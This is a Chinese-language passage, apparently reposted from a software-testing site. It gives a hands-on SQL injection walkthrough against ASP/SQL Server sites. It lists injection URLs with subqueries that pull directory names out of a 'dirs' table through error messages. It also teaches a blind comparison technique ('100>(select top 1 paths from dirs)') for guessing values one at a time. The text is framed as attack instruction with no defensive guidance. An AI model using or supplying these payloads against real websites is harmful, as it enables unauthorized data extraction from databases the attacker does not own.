软件测试开发技术SQL Server取得网站路径的几种方法及比较

dirs where paths not in( ’@.netpub’,’test’))--

返回：Microsoft OLE DB Provider for SQL Server 错误 80040e07

将 varchar 值 ’haha’转换为数据类型为 int 的列时发生语法错误。

再依次爆出表中的目录名称!

好了,你应该知道怎么做了吧,哈哈,就是把得到的表名添到那个括号里,有多少就放多少吧,

一点技巧:

有时候你会发现当输入类似

http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

时不是显示出错,而是网页显示正常

晕了吧,别紧张哈

看看0<>(select top 1 paths from dirs) 说明返回是一个数字,

哈哈,测试一下看看是多少吧

100>(select top 1 paths from dirs)

返回正常

哈哈,用这种大于小于的方法很快就能猜出了

好我们继续

比如当出现

59=(select top 1 paths from dirs)

返回正常,

ok,说明名字是59

输入如下

http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

dirs where paths not in( ’59’))--

记得带上引号哟

文章来源于领测软件测试网 https://www.ltesting.net/